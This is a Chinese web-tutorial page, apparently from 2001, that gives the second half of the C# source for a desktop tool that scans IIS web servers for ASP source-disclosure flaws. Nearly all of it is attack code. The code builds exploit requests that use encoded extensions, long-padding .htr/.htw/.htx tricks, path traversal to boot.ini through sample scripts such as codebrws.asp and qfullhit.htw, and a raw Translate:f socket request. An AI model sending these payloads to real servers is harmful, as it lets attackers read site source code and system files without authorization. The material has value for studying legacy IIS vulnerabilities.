网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > ASP实例
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.构建免受FSO组件威胁虚拟主机 .
.中文的无组件文件上传ASP函数.
.用户注册及跟踪代码(二).
.使用ASP建设私人搜索引擎.
.XMLHTTP+Javascript+Asp写得聊天.
.用ASP统计用户在站点的停留时间.
.怎样做自己的二级域名(之二).
.通过ASP与ACCESS数据库建立连接(.
.使用InstallShield制作ASP安装程.
.广告播放和跟踪系统的制作.
.词语搭配游戏的制作(ASP)一.
.网络寻呼机数据库版删除选中的消.
.发送带附件的HTML格式邮件例程.
.用Web页面执行客户端程序.
.利用ASP.NET设计FTP文件上传(上).
.在一个ASP页面停留的多少时间的程.
.介绍一个制作下拉菜单完全不同的.
.用ASP、VB和XML建立互联网应用程.
.一个提供用户输入时期的绝好程序.
.用Jmail做收取邮件附件的程序.

一个用c#写的扫描asp源码漏洞的应用程序(续)

发表日期:2001-1-16


//主要方法
        protected void btnGo_Click (object sender, System.EventArgs e)
        {

            //解析url
            string strServer = this.txtServer.Text ;
            string strUrl   = this.txtFileName.Text ;
            char [] point = {'.'} ;   //定义分割符为"."
            char[] line = {'/'} ;     //定义分割符为"."
            string [] arrString = strUrl.Split(line) ;

            //求asp文件全名
            string strFileName = arrString[arrString.Length - 1] ;
            //求从根目录下的路径
            string strPath = strUrl.Substring( 0 ,
                             strUrl.Length - strFileName.Length) ;

            //解析文件全名
            arrString = strFileName.Split(point) ;
            //求文件扩展名
            string strLast = arrString[arrString.Length - 1] ;
            //求文件名
            string strFirst = strFileName.Substring( 0 ,
                              strFileName.Length - strLast.Length - 1) ;
            


            //使按钮、输入框等失效
            this.txtServer.ReadOnly = true ;
            this.txtFileName.ReadOnly = true ;
            this.btnClear.Enabled = false ;
            this.btnGo.Enabled = false ;


            if (this.txtServer.Text == "http://" || this.txtFileName.Text == ""
                || this.txtServer.Text.Trim()== "" ||
                this.txtServer.Text.Substring(0,7) != "http://")
            {
                MessageBox.Show("请输入正确的主机名和文件名!") ;
                this.txtServer.Focus() ;
            }
            else
            {
                this.txtResult.Visible = true ;
                this.txtResult.ReadOnly = true ;
                this.barStatus.Text = "正在连结主机…" ;

                string strRequestFile ;

                switch (this.cboMethod.SelectedIndex)
                {
                    case 0:          //直接读取
                        strRequestFile = strServer + strUrl ;
                        break ;
                    case 5 :         //%2e%41sp
                        strRequestFile = strServer + strPath + strFirst
                                        + "%2e%41sp" ;
                        break ;
                    case 8 :        //longhtr
                        strRequestFile = strServer + strUrl
                             + "+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
                             + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
                             + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                             + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htr" ;
                        break ;

                    case 10:     //codebrws.asp
                        strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
                                        + strUrl ;
                        break ;

                    case 11:    //showcode.asp
                        strRequestFile = strServer + "/iissamples/exair/howitworks/codebrws.asp?source="
                                        + "/msadc/../../../../boot.ini" ;
                        break;

                    case 12 :  //null.htw
                        strRequestFile = strServer + "/null.htw?CiWebHitsFile="
                                        + strUrl + "%20&CiRestriction=none&CiHiliteType=Full" ;
                        break ;
                    case 13 :  //qfullhit.htw
                        strRequestFile = strServer + "/iissamples/issamples/oop/qfullhit.htw?"
                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                        + "&CiHiliteType=Full";
                        break ;

                    case 14 :  //qsumrhit.htw
                        strRequestFile = strServer + "/iissamples/issamples/oop/qsumrhit.htw?"
                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                        + "&CiHiliteType=Full";
                        break ;

                    case 15 :  //query.idq
                        strRequestFile = strServer + "/query.idq?CiTemplate=/../../boot.ini"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
                                        + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.htx";
                        break ;

                    case 16:   //search/qfullhit.htw
                        strRequestFile = strServer + "/iissamples/exair/search/qfullhit.htw?"
                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                        + "&CiHiliteType=Full";
                        break ;

                    case 17:   // search/qsumrhit.htw
                        strRequestFile = strServer + "/iissamples/exair/search/qsumrhit.htw?"
                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                        + "&CiHiliteType=Full";
                        break ;
                    
                    case 18:   //iirturnh.htw
                        strRequestFile = strServer + "/iishelp/iis/misc/iirturnh.htw?"
                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                        + "&CiHiliteType=Full";
                        break ;

                    case 19:  //.htw
                        strRequestFile = strServer + strUrl
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%"
                                        + "20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20"
                                        + "%20%20%20%20%20%20%20%20%20%20%20.htw?"
                                        + "CiWebHitsFile=/../../boot.ini&CiRestriction=none"
                                        + "&CiHiliteType=Full" ;
                        break ;

                    default:
                        strRequestFile = strServer + strUrl + this.cboMethod.Text ;
                }
                
                this.barStatus.Text = "发送请求:"
                                     + (strRequestFile.Length >= 50 ?
                                       strRequestFile.Substring(0 , 50)
                                        :strRequestFile)
                                     + "...";

                string strResult ;
                //如果不是translate:f方法则可以直接发送http请求
                if (this.cboMethod.SelectedIndex != 20)
                {
                    //直接发送http请求
                    strResult = Get_Http(strRequestFile) ;

                    this.barStatus.Text += "完成。"  ;
                    strResult = strResult == "" ? "未找到!" : strResult ;
                    this.txtResult.Text = strResult ;
                }
                else  //translate:f方法需要建立tcp/ip连接
                {
                    string strRequest = "GET " + strServer + strUrl
                                       + "\r\nHTTP/1.0\r\nTranslate:f\r\n" ;
                    strResult = Get_Socket_Request(strServer , strRequest , 80) ;
                    this.barStatus.Text += "完成。"  ;
                    strResult = strResult == "" ? "未找到!" : strResult ;
                    this.txtResult.Text = strResult ;

                }
            
            }

            //使按钮、输入款等恢复
            this.txtServer.ReadOnly = false ;
            this.txtFileName.ReadOnly = false ;
            this.btnClear.Enabled = true ;
            this.btnGo.Enabled = true ;


        }


        //通过同server建立tcp/ip连接,发送socket命令
        private string Get_Socket_Request(string a_strServer , string a_strRequest , Int32 a_intPort)
        {
            //Set up variables and String to write to the server
            Encoding ASCII = Encoding.Default ;
            string Get = a_strRequest + "Connection: Close\r\n\r\n";
            //string Get =
            Byte[] ByteGet = ASCII.GetBytes(Get);
            Byte[] RecvBytes = new Byte[256];
            String strRetPage = null;

            // IPAddress and IPEndPoint represent the endpoint that will
            //   receive the request
            IPAddress hostadd = DNS.Resolve(a_strServer.Substring(7 ,a_strServer.Length - 7));
            IPEndPoint EPhost = new IPEndPoint(hostadd, a_intPort);

            //Create the Socket for sending data over TCP
            Socket s = new Socket(AddressFamily.AfINet, SocketType.SockStream,
                                    ProtocolType.ProtTCP );

            // Connect to host using IPEndPoint
            if (s.Connect(EPhost) != 0)
            {
                strRetPage = "Unable to connect to host";
                return strRetPage;
            }

            // Sent the GET text to the host
            s.Send(ByteGet, ByteGet.Length, 0);

            // Receive the page, loop until all bytes are received
            Int32 bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
            strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);

            while (bytes > 0)
            {
                bytes = s.Receive(RecvBytes, RecvBytes.Length, 0);
                strRetPage = strRetPage + ASCII.GetString(RecvBytes, 0, bytes);
            }

            return strRetPage ;
        }

        //获取http页面函数
        private string Get_Http(string a_strUrl)
        {
            string strResult ;
            HttpWebRequest myReq = (HttpWebRequest)
                                   WebRequestFactory.Create(a_strUrl) ;

            try
            {
                HttpWebResponse HttpWResp = (HttpWebResponse)myReq.GetResponse();
                Stream myStream = HttpWResp.GetResponseStream () ;

                StreamReader sr = new StreamReader(myStream , Encoding.Default);
                StringBuilder strBuilder = new StringBuilder();
                while (-1 != sr.Peek())
                {
                    strBuilder.Append(sr.ReadLine()+"\r\n");
                }
                
                strResult = strBuilder.ToString();
            }
            catch(Exception exp)
            {
                 strResult = "错误:" + exp.Message ;
            }

            return strResult ;
            
        }

        //退出
        protected void mnuExit_Click (object sender, System.EventArgs e)
        {
            
            if (MessageBox.Show("真的退出吗?" , "退出系统" , MessageBox.YesNo) == DialogResult.Yes)
            {
                this.Close () ;

            }
        }


        //主函数
        public static void Main(string[] args)
        {
            Application.Run(new Form1());
        }
    }
}

上一篇:一个用c#写的扫描asp源码漏洞的应用程序 人气:9762
下一篇:一个把数字转英文的实用程序 人气:11093
浏览全部的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐